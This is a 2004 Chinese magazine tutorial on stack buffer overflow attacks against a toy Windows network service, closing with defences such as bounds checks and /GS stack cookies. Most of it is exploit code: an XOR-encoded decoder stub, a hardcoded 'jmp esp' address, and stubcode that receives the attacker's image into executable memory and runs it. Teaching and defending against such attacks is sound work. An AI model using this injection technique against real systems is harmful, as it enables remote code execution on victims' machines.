本文发表于《CSDN 开发高手》2004 年第 4 期 源码
很久以来,在人们心目中,“黑客”和病毒作者的身上总是笼罩着一层神秘的光环,他们被各种媒体描述成技术高手甚至技术天才,以至于有些人为了证明自己的“天才”身份而走上歧途,甚至违法犯罪。记得不久前就看到过这样一个案例:一位计算机专业研究生入侵了一家商业网站并删除了所有数据。当他在狱中接受记者的采访时,他非常自豪地说这样做只是为了证明自己和获得那种成就感。
本文讨论的缓冲区溢出攻击实际上是一项非常“古老”的技术,但它的破坏力依然不可小视——相信大家都还没有忘记几个月之前的“冲击波”。文中的代码实例几乎就是一个真实的病毒了,其中的一些技术你可能没有见过,但我可以很负责任的说它没有使用任何高深的技术,我没有进 ring0,没有写设备驱动,甚至连汇编代码也只用了非常简单的 11 句。我希望此文能让大家重新认识一下“黑客”和病毒作者,把他们从神坛上“拉”下来。我更要提醒大家把那位“研究生”作为前车之鉴,不要滥用这项技术,否则必将玩火自焚。下面就进入正题。
什么是缓冲区溢出
你一定用 strcpy 拷贝过字符串吧?那,如果拷贝时目的字符串的缓冲区的长度小于源字符串的长度,会发生什么呢?对,源字符串中多余的字符会覆盖掉进程的其它数据。这种现象就叫缓冲区溢出。根据被覆盖数据的位置的不同,缓冲区溢出分为静态存储区溢出、栈溢出和堆溢出三种。而发生溢出后,进程可能的表现也有三种:一是运行正常,这时,被覆盖的是无用数据,并且没有发生访问违例;二是运行出错,包括输出错误和非法操作等;第三种就是受到攻击,程序开始执行有害代码,此时,哪些数据被覆盖和用什么数据来覆盖都是攻击者精心设计的。
一般情况下,静态存储区和堆上的缓冲区溢出漏洞不大可能被攻击者利用。而栈上的漏洞则具有极大的危险性,所以我们的讲解也以栈上的缓冲区溢出为例。
攻击原理
要进行攻击,先得找到靶子。所以我就准备了一个叫做“victim”的程序作为被攻击对象,它在逻辑上等价于下面的代码:
void GetComputerName(SOCKET sck, LPSTR szComputer)
{
char szBuf[512];
recv(sck, szBuf, sizeof(szBuf), 0);
LPSTR szFileName = szBuf;
while((*szFileName) == '//')
szFileName++;
while((*szFileName) != '//' && (*szFileName) != '/0')
{
*szComputer = *szFileName;
szComputer++;
szFileName++;
}
*szComputer = '/0';
}
void ShowComputerName(SOCKET sck)
{
char szComputer[16];
GetComputerName(sck, szComputer);
// mov ecx,dword ptr [esp+4]
// sub esp,10h; ---②
// lea eax,[esp]
// push eax
// push ecx
// call GetComputerName (401000h)
printf(szComputer);
// lea edx,[esp]
// push edx
// call printf (401103h)
}
// add esp,14h
// ret 4; ---③
int __cdecl main(int argc, char* argv[])
{
WSADATA wsa;
WSAStartup(MAKEWORD(2,2), &wsa);
struct sockaddr_in saServer;
saServer.sin_family = AF_INET;
saServer.sin_port = 0xA05B; //htons(23456)
saServer.sin_addr.s_addr=ADDR_ANY;
SOCKET sckListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
bind(sckListen, (sockaddr *)&saServer, sizeof(saServer));
listen(sckListen, 2);
SOCKET sckClient = accept(sckListen, NULL, NULL);// ---①
ShowComputerName(sckClient);
closesocket(sckClient);
closesocket(sckListen);
WSACleanup();
return 0;
}
victim 程序的本意是从网络上接收一个 UNC(Universal Naming Convention)形式的文件名,然后从中分离出机器名并打印在屏幕上。由于正常情况下,机器名最多只有 16 个字节,所以 ShowComputerName 函数也只给 szComputer 分配了 16 个字节长的缓冲区,并且 GetComputerName 也没有对缓冲区的长度做任何检查。这样,ShowComputerName 中就出现了一个缓冲区溢出漏洞。
找到了漏洞,下一步要做的就是分析漏洞来找到具体的攻击方法。我们来看一下 ShowComputerName 的编译结果,每条 c/c++ 语句下面注释中就是其编译后对应的汇编代码。对这些代码,我要说明两点:① 这里使用的是 stdcall 调用约定,它是 windows 程序中最常用的调用约定,下文中的示例代码如果没有特别说明都将使用这种约定。有关各种调用约定的含义和区别,请参考相关资料。② 因编译器、编译选项的不同,编译结果也可能不一样,后面的攻击代码是根据上面的编译结果编写的,我无法保证它在你的环境中也能正确执行。
我在程序中标注了三个标号,下图从左至右分别是程序执行完三个标号对应的代码后堆栈的状态及 esp 寄存器的指向,其中每个小格代表一个字,即四字节。
从图中可以看出,当 main 调用 ShowComputerName 时,程序会首先将它的参数压栈,然后再将其执行完毕后的返回地址压栈。进入 ShowComputerName 后,程序再调整 esp 寄存器,为局部变量分配存储空间。而 ShowComputerName 返回时执行的“ret 4”指令不仅让程序跳转到返回地址继续运行,还会将返回地址、函数参数从栈中弹出,使栈恢复到调用前的状态。
很明显,如果 UNC 字符串中的机器名超过了 16 字节,函数 ShowComputerName 就会发生缓冲区溢出。为了讲解方便,下面我就开始从攻击者的角度来分析如何构造这个字符串才能让程序执行一些“意外”的代码。
你可能已经发现:函数 ShowComputerName 的返回地址就存放在“szComputer+16”处。所以,如果我们能把返回地址改成“szComputer+20”,并从地址“szComputer+20”开始填上一些我们需要的指令对应的数据,那么我们就能达到目的了。很高兴你能想到这些,但这是不可能的,因为我们既要根据 szComputer 来构造字符串,又要在 szComputer 确定前完成构造完字符串。所以,此路不通,我们必须拐个弯才行。
如果你还注意到 cpu 执行完“ret 4”指令后,esp 指向“szComputer+24”处,那么你已经看到该在哪拐弯了。绝大多数情况下,我们能在进程的地址空间中找到一条拥有固定地址“jmp esp”指令,我们只需在“szComputer+16”处填上这条指令的地址,然后再从“szComputer+24”开始填入攻击指令就可以了。这样,ShowComputerName 返回时,cpu 执行“ret 4”指令,再执行“jmp esp”指令,控制权就转移到我们手里了。怎么样?很简单吧!
不过你还不要高兴得太早,上面所说的只是缓冲区溢出攻击的基本原理。而理论与实际永远是有一段距离的。要真正完成攻击,我们还有好几个棘手的问题需要解决。
首先是是如何处理一些不允许出现在字符串中的字符。在上面的代码中,如果我们构造的字符串的某个字节是 0 或者“/”,GetComputerName 就会拒绝拷贝后面的数据,所以在我们的“计算机名”中不能有任何一个字节是 0 或“/”。“/”可能还好说一点,但一段“真正能做点事情”的代码不包括 0 几乎是不可能的。怎么解决这个矛盾呢?最简单的方法是异或。先写好真正的代码并编译得到结果,我称它为 stubcode。然后找一个数字 n,要求 ①0≤n≤255;②n 是允许出现在字符串中的字符;③n 与 stubcode 的任何一个字节异或后都是允许出现的字符。用 n 与 stubcode 逐字节进行异或,得到异或结果。很明显,要找到这样一个 n,stubcode 就不能太长,只是做一些简单的准备工作,然后加载后续代码完成更多的工作,这也是我把它称为 stubcode 的原因。其实 stubcode 代码也需要一个 stubcode,我们就把它称为 stubstubcode 吧,它的任务是用 n 与异或结果再逐字节异或一次来恢复 stubcode 的原貌,然后把控制权交给 stubcode。stubstubcode 非常短,只有 20 个字节左右,通过精心设计就可能避免在其中出现不允许的字符。
由于前面的分析已经证明不可能在我们构造的字符串中放上一条“jmp esp”,并修改返回地址指向它,所以第二个难题就是到哪去找“jmp esp”指令了。你可能认为进程自身是首选,因为 exe 文件具有固定的装入地址,只要它包含这条指令,那么指令的地址就是确定的。但我不得不遗憾的告诉你,又错了。虽然 exe 的装入地址不会变,但这个地址一般较低,因而找到的“jmp esp”的地址的高字节肯定是 0,它不是 stubcode,我们没办法对它进行异或处理。如果你看过拙作《NT 环境下进程隐藏的实现》,你肯定知道基本上每个进程都会加载 kernel32.dll,且它的装入地址在同一操作系统平台上是固定的。而另一个重要事实是它的装入地址足够高,能够满足不含 0 字节这一要求。所以我们应该到 kernel32.dll 中去找。但是非常不幸,在我的 winxp + sp1 系统中,偌大的一个 kernel32.dll,竟然没有一个“jmp esp”指令的藏身之地(我没有在其他系统上作过尝试,各位读者如有兴趣可以自己试一下)。我只好退而求其次,到 user32.dll 中去找了,它在系统中拥有仅次于 kernel32.dll 的地位。最终,我在地址 0x77D437DB 处发现了“jmp esp”的身影。
第三个问题是如何在 stubcode 中调用 API。《进程隐藏》一文中对此也有讨论,但情况与现在有一些不同,因为 stubcode 中没有现成的输入表,所以我们需要自己制作一个小的“输入表”作为 stubcode 的参数写到 UNC 字符串中,stubcode 还需要其他一些参数,我把这些参数统称为 stubparam。而把 stubstubcode、stubparam、stubcode 以及其它数据合起来构成的 UNC 字符串称为 stub。当然,对 stubparam 也需要做异或处理以避免在其中出现非法字符。
stubcode 中也不能有直接寻址指令,原因很明显,解决办法也很简单(不让用就不用了😄 ),我就不再多说了。
攻击实例
我们的攻击程序名叫“attacker”,攻击成功后,它将使 victim 进程弹出下面的消息框。
attacker 供给的第一步是把 stub(也就是 UNC 字符串)发送给 victim,所以我们就先来看一下 stub 的构成,如下图所示:
其中,填充数据 1 用来填充返回地址前的所有内容,本例就是 szComputer 占用的空间;返回地址就是“jmp esp”指令的地址;填充数据 2 用来填充返回地址和 stubstubcode 之间的内容,本例是参数 sck 占用的空间;stubstubcode、stubparam 和 stubcode 前面已经讲过;填充数据 3 则用于将 stub 打扮成正常字符串的样子,例如,补上结尾处的 0 字符等。
为了使用更方便,我定义了几个结构来表示整个 stub。你可以看到,它们被“#pragma pack”编译指令固定为一字节对齐,这很重要,因为它可以:① 减小 stub 的大小。栈上可供使用的空间不多,所以 stub 越小越好;② 阻止编译器插入用于对齐的额外字节。如果编译器在 STUBSTUBCODE 或 STUB 中插入了额外的字节,我们的一切努力都将付之东流。
#pragma pack(push)
#pragma pack(1)
struct STUBSTUBCODE
{
BYTE arrConst1[4]; //0x33, 0xC9, 0x66, 0xB9
WORD wXorSize; //需要进行异或处理的数据的大小
BYTE arrConst2[3]; //0x8D, 0x74, 0x24
BYTE byXorOffset; //需要进行异或处理的代码的起始位置(相对于esp的偏移)
BYTE arrConst3[4]; //0x56, 0x8A, 0x06, 0x34
BYTE byXorMask; //使用此数字进行异或
BYTE arrConst4[8]; //0x88, 0x06, 0x46, 0xE2, 0xF7, 0x8D, 0x44, 0x24
BYTE byEntryOffset; //STUBCODE代码的入口地址(相对于esp的偏移)
BYTE arrConst5[2]; //0xFF, 0xD0
};
struct STUBPARAM
{
FxLoadLibrary fnLoadLibrary;
FxGetProcAddr fnGetProcAddr;
FxVirtualAlloc fnVirtualAlloc;
DWORD dwImageSize;
DWORD rvaAttackerEntry;
char szWs2_32[11]; //ws2_32.dll
char szSocket[7]; //socket
char szBind[5]; //bind
char szListen[7]; //listen
char szAccept[7]; //accept
char szSend[5]; //send
char szRecv[5]; //recv
};
struct STUB
{
BYTE arrPadding1[18];
DWORD dwJmpEsp;
BYTE arrPadding2[4];
STUBSTUBCODE ssc;
STUBPARAM sp;
BYTE arrStubCode[1]; //实际上,这是一个变长数组
};
#pragma pack(pop)
STUBSTUBCODE 对应的就是本文开头提到的 11 条汇编语句。参照 stub 的整体结构,我们不难写出它的具体实现。
xor ecx, ecx
mov cx, wXorSize; wXorSize是要进行异或处理的数据的大小
lea esi, [esp+ byXorOffset]; byXorOffset是需要进行异或处理的代码的起始位置
push esi
xormask: mov al, [esi]
xor al, byXorMask; 使用byXorMask进行异或
mov [esi], al
inc esi
loop xormask
lea eax, [esp + byEntryOffset]; byEntryOffset 是StubCode的入口地址
call eax
其中的几个变量实际上要用常数替代,wXorSize 是要进行异或处理的数据的大小,也就是 stubparam 和 stubcode 的大小的和;byXorOffset 是这些数据的起始位置相对于 esp 寄存器的偏移,从结构图中可以看出它等于“sizeof(STUBSTUBCODE)”,同时,它加上 esp 后就是 STUBPARAM 的地址,我们要把这个地址传给 stubcode,所以立即把它压进了栈中,具体请见下面的相关内容;byXorMask 是异或掩码,也就是前面提到的数字 n;byEntryOffset 是 stubcode 的入口相对于 esp 寄存器的偏移,它等于“sizeof(STUBSTUBCODE)+ sizeof(STUBPARAM)+4”,多加一个 4 是因为前面又向栈里压了一个数。这段代码的前两句没用更直接的“mov ecx, wXorSize”则是为了避免出现 0 字符。
把代码和结构体对比一下,看明白了吧!结构体中的几个数组对应的是汇编代码中固定不变的部分,变量则是需要经常修改的部分。这种定义让我们有机会动态修改 stubstubcode,减少手工的代码维护工作。
STUBPARAM 定义的是要传递给 stubcode 的参数,它比较简单,相信你看完后面对 stubcode 的介绍,就能明白各成员的含义和作用了。其中所有以“Fx”为前缀的数据类型都是其相应函数的指针类型,后文还会遇到。
在 STUB 中,我给了第一个填充数组 18 字节的空间,多出来的两字节用来存储 UNC 字符串中打头的“//”,本例中这并不是必须的。而 arrStubCode 虽然看上去只有一字节长,却是一个变长数组,保存的是结构图中的 stubcode 和填充数据 3。
下面我们就进入 stub 的最后一部分,也是最重要的一部分:stubcode,代码如下。
void WINAPI StubCode(STUBPARAM* psp)
{
HINSTANCE hWs2_32 = psp->fnLoadLibrary(psp->szWs2_32);
FxGetProcAddr fnGetProcAddr = psp->fnGetProcAddr;
Fxsocket fnsocket = (Fxsocket)fnGetProcAddr(hWs2_32, psp->szSocket);
Fxbind fnbind = (Fxbind)fnGetProcAddr(hWs2_32, psp->szBind);
Fxlisten fnlisten = (Fxlisten)fnGetProcAddr(hWs2_32, psp->szListen);
Fxaccept fnaccept = (Fxaccept)fnGetProcAddr(hWs2_32, psp->szAccept);
Fxsend fnsend = (Fxsend)fnGetProcAddr(hWs2_32, psp->szSend);
Fxrecv fnrecv = (Fxrecv)fnGetProcAddr(hWs2_32, psp->szRecv);
BYTE* buf = (BYTE*)psp->fnVirtualAlloc(NULL, psp->dwImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SOCKET sckListen = fnsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in saServer;
saServer.sin_family = AF_INET;
saServer.sin_port = 0x3930; //htons(12345)
saServer.sin_addr.s_addr = ADDR_ANY;
fnbind(sckListen, (sockaddr *)&saServer, sizeof(saServer));
fnlisten(sckListen, 2);
SOCKET sckClient = fnaccept(sckListen, NULL, 0);
fnsend(sckClient, (const char*)(&buf), 4, 0);
DWORD dwBytesRecv = 0;
BYTE* pos = buf;
while(dwBytesRecv < psp->dwImageSize)
{
dwBytesRecv += fnrecv(sckClient, (char*)pos, 1024, 0);
pos = buf + dwBytesRecv;
}
FxAttackerEntry fnAttackerEntry = (FxAttackerEntry)(buf + psp->rvaAttackerEntry);
fnAttackerEntry(buf, psp->fnLoadLibrary, psp->fnGetProcAddr);
}
void StubCodeEnd(){} //this function marks the end of stubcode
stubcode 先用 LoadLibrary 得到 ws2_32.dll 的句柄,然后通过 GetProcAddress 获得几个 API 函数的入口地址。接着它用 VirtualAlloc 分配了 dwImageSize 大小的内存,这块内存有什么用呢?原来,同《进程隐藏》一样,我们要向 victim 进程中注入另一个 PE 文件——其实就是 attacker 自己——的映像,所以,这块内存就是保存映像的空间,而 dwImageSize 也就是这个映像的大小。之后它开始在 12345 端口上侦听,直到接到 attacker 连接请求。
与 attacker 建立连接后,StubCode 会立即将刚才分配的内存的起始地址发过去,attacker 要根据这个地址对自身的一个拷贝进行重定位,然后将它发回 StubCode。StubCode 则把这个拷贝接收到刚才分配的内存中去。Attacker 还有另外一个函数“AttackerEntry”,rvaAttackerEntry 就是这个函数与 attacker 的装入地址的距离。通过这个距离,StubCode 就可以在 attacker 的拷贝中找到 AttackerEntry 的入口,从而把控制权转交给它。至此,StubCode 就完成了自己的使命。
代码中使用 LoadLibrary 和 GetProcAddress 方式你不陌生吧?如果真的看不明白,请读一下《进程隐藏》。VirtualAlloc 也位于 kernel32.dll,所以我就照方抓药了。
上面的代码里还有一个空函数“StubCodeEnd”,虽然表面上什么也没做,但它却有一个非常重要的任务:我要用它来计算 StubCode 这个函数占了多少内存,并据此计算出整个 stub 的大小。用下面的方法就行了:
int nStubCodeSize = (int)(((DWORD)StubCodeEnd) - ((DWORD)StubCode));
我没有从官方资料上找到可以这么做的依据,但在我的环境中,它确实工作的很好!
有了 stub,我们还需要一些代码对其进行填充并注入到 victim 中去。注入过程只是简单的网络通讯,就不讲了,单看数据填充。
BOOL PrepareStub(STUB* pStub)
{
//copy const data
memcpy(pStub, &g_stub, sizeof(STUB));
//prepare stub code param
pStub->dwJmpEsp = 0x77D437DB; //这几个地址适用于
pStub->sp.fnLoadLibrary = 0x77E5D961; //victim程序运行在
pStub->sp.fnGetProcAddr = 0x77E5B332; //winxp pro + sp1 系统上
pStub->sp.fnVirtualAlloc = 0x77E5AC72; //的情况
pStub->sp.dwImageSize = GetImageSize((LPCBYTE)g_hInst);
pStub->sp.rvaAttackerEntry = ((DWORD)AttackerEntry) - ((DWORD)g_hInst);
//copy stub code
int nStubCodeSize = (int)(((DWORD)StubCodeEnd) - ((DWORD)StubCode));
memcpy(pStub->arrStubCode, StubCode, nStubCodeSize);
//find xor mask
int nXorSize = (int)(sizeof(STUBPARAM) + nStubCodeSize);
LPBYTE pTmp = (LPBYTE)(&(pStub->sp));
BYTE byXorMask = GetXorMask(pTmp, nXorSize, (LPCBYTE)g_arrDisallow,
sizeof(g_arrDisallow)/sizeof(g_arrDisallow[0]));
if(byXorMask == g_arrDisallow[0])
return FALSE;
//xor it
for(int i=0; i<nXorSize; i++)
*(pTmp+i) ^= byXorMask;
//fill stubstubcode
pStub->ssc.wXorSize = (WORD)nXorSize;
pStub->ssc.byXorMask = byXorMask;
//Does the stubstubcode contains a disallowed char?
pTmp = (LPBYTE)(&(pStub->ssc));
for(i=0; i<sizeof(STUBSTUBCODE); pTmp++, i++)
for(int j=0; j<sizeof(g_arrDisallow)/sizeof(g_arrDisallow[0]); j++)
if(*pTmp == g_arrDisallow[j])
return FALSE;
//make it an "valid" file name the victim wants
strcpy((char*)(&(pStub->arrStubCode[nStubCodeSize])), g_szStubTail);
return TRUE;
}
其中,pStub 指向一块事先分配的内存区,其大小是计算好的,绝对不会超支(我们是干这行的,肯定得先把自身的问题解决好:));g_stub 是一个 STUB 类型的全局变量,保存了 stub 中固定不变的数据;g_hInst 是 attacker 的进程的句柄,以它为参数调用 GetImageSize 就能得到 attacker 的内存映像的大小;g_arrDisallow 是一个字符数组,里面是所有不允许出现的字符。
GetXorMask 用于计算对 stubparam 和 stubcode 进行异或处理的掩码,代码如下:
BYTE GetXorMask(LPCBYTE pData, int nSize, LPCBYTE arrDisallow, int nCount)
{
BYTE arrUsage[256], by = 0;
memset(arrUsage, 0, sizeof(arrUsage));
for(int i=0; i<nSize; i++)
arrUsage[*(pData + i)] = 1;
for(i=0; i<256; i++)
{
by = (BYTE)i;
//xor mask can not be a disallowed char
for(int j=0; j<nCount; j++)
if(arrDisallow[j] == by)
break;
if(j < nCount)
continue;
//after xor, the data should not contain a disallowed char
for(j=0; j<nCount; j++)
if(arrUsage[arrDisallow[j] ^ by] == 1)
break;
if(j >= nCount)
return by;
}
//we don't find it, return the first disallowed char for an error
return arrDisallow[0];
}
异或处理完毕后,PrepareStub 要根据动态计算出来的数据,修改 stubstubcode。由于数据是动态算出来的,所以需要对最终的 stubstubcode 做一个检查,看里面有没有不允许的字符。最后,它用 g_szStubTail 把 stub 填充为一个完整地 UNC 字符串,整个 stub 的准备工作宣告完成。
前面已经说过,stubcode 的任务是在 victim 中建立一个 attacker 的映像,然后把控制权交给它里边的 AttackerEntry 函数。因而 attacker 的第二步工作是把自身的一个拷贝重定位后,发给 stubcode。下面的代码就来完成这些任务:
…
DWORD dwNewBase, dwSize;
LPBYTE pImage;
recv(sck, (char*)(&dwNewBase), sizeof(DWORD), 0);
dwSize = GetImageSize((LPCBYTE)g_hInst);
pImage = (LPBYTE)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
memcpy(pImage, (const void*)g_hInst, dwSize);
RelocImage(pImage, (DWORD)g_hInst, dwNewBase);
DoInject(sck, pImage, dwSize);
…
attacker 先从 stubcode 中获得它分配的内存的起始地址,这个地址就是 attacker 在 victim 中的映像基址。然后 attacker 把自身复制一份,并按照新的映像基址对这个拷贝进行重定位,RelocImage 的代码与《进程隐藏》中的基本相同,这里不再重复。但要注意:默认情况下,链接器不会为 EXE 文件生成重定位表。所以链接 attacker 时,要加上参数“/FIXED:No”,强制链接器生成重定位表。DoInject 完成数据发送,也是简单的网络通讯,所以略过不讲。
在 victim 中,控制权最终会传递到下面这个函数的手中。
void WINAPI AttackerEntry(LPBYTE pImage, FxLoadLibrary fnLoadLibrary, FxGetProcAddr fnGetProcAddr)
{
g_hInst = (HINSTANCE)pImage;
if(LoadImportFx(pImage, fnLoadLibrary, fnGetProcAddr))
AttackerMain(g_hInst);
ExitProcess(0);
}
它同《进程隐藏》里的 ThreadEntry 很像,最大的不同是最后调用 ExitProcess 结束了 victim 的生命。这很好理解,victim 的栈经过一系列的攻击之后,已经面目全非了,如果让 AttackerEntry 正常返回,victim 肯定会弹出一个提示出现非法操作的对话框。我们在做“坏事”,不希望被发现,所以让 victim 悄无声息的退出无疑是最佳选择。
LoadImportFx 和《进程隐藏》中的完全一致,也不再重复。至于 AttackerMain,我的是下面的样子。你的——自己去发挥吧,但请切记你要为你所作的一切负责!
DWORD WINAPI AttackerMain(HINSTANCE hInst)
{
TCHAR szName[64], szMsg[128];
GetModuleFileName(NULL, szName, sizeof(szName)/sizeof(TCHAR));
_stprintf(szMsg, _T("进程/"%s/"存在缓冲区溢出漏洞,赶紧打补丁吧!"), szName);
MessageBox(NULL, szMsg, _T("哈哈"), MB_OK|MB_ICONINFORMATION);
return 0;
}
防御措施
有攻就有防,缓冲区溢出危害虽大,防起来却不难。最简单有效的方法莫过于写代码时小心一点了。比如在 victim 中,如果我们多传递给 GetComputerName 一个参数来标志缓冲区的长度,并在 GetComputerName 进行检查,那么悲剧就能避免了。
如果你比较懒,不想做这些琐事,编译器也能帮你。从 vs.net 开始,编译器支持了一个新的选项:/GS。打开它后,编译器就会检查每一个函数是否有发生溢出的可能。如果有,它就向这个函数中插入检测代码,比如前面的 ShowComputerName 经过处理后就会变成类似下面的样子。其中__security_cookie 是编译器插入程序的一个全局变量,进程启动时,会根据大量信息使用哈希算法对它进行初始化,所以它的值具有很好的随机性(具体的初始化过程请见“seccinit.c”)。
void ShowComputerName(SOCKET sck)
{
DWORD_PTR cookie = __security_cookie; //编译器插入的代码
char szComputer[16];
RecvComputerName(sck, szComputer);
printf(szComputer);
__security_check_cookie(cookie); //编译器插入的代码
}
如代码所示,进入 ShowComputerName 后,程序所作的第一件事就是把__security_cookie 的值复制一份到局部变量 cookie 中。注意:cookie 是 ShowComputerName 的第一个局部变量,所以它在栈中的位置是在返回地址和其它局部变量之间,如果拷贝字符串到 szComputer 中时发生了缓冲区溢出,cookie 肯定先于返回地址被覆盖,而它的新值几乎没有可能继续与__security_cookie 相同,因而函数最后的__security_check_cookie 就可以使用下面的代码检测溢出了(这段代码其实不是给 x86 cpu 用的,但它更易理解,且逻辑上没有区别,具体请见“secchk.c”)。
void __fastcall __security_check_cookie(DWORD_PTR cookie)
{
/* Immediately return if the local cookie is OK. */
if (cookie == __security_cookie)
return;
/* Report the failure */
report_failure();
}
整个实现非常之简洁高效,不信就请试一下看看效果。但这种机制也有不足,一是检测到溢出后就会使程序终止运行;二是不能检测所有的溢出,还有漏网之鱼。具体就请参考相关资料和做实验吧。
谁之过
据说已发现的安全漏洞中有 50% 以上根缓冲区溢出有关,我们姑且不管这一数字是否准确,但它确实说明缓冲区溢出给计算机世界造成的危害的严重性。而人们也普遍认为是因为程序员的“不小心”才会有这么多的漏洞。但责任真的都应该程序员来负吗?我觉得不然。首先,x86 cpu 的设计就有一些问题:函数的返回地址和普通数据放在同一个栈中,给了攻击者覆盖返回地址的机会;而栈从高地址向低地址的增长方向又大幅提高了这一几率。其次,c 标准库设计时对内存占用和执行效率的斤斤计较又造就了许多类似 strcpy 的危险函数。当然,我并不想指责它们的设计者,我也没有资格,我只是想更深入的和大家讨论一下缓冲区溢出问题。
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于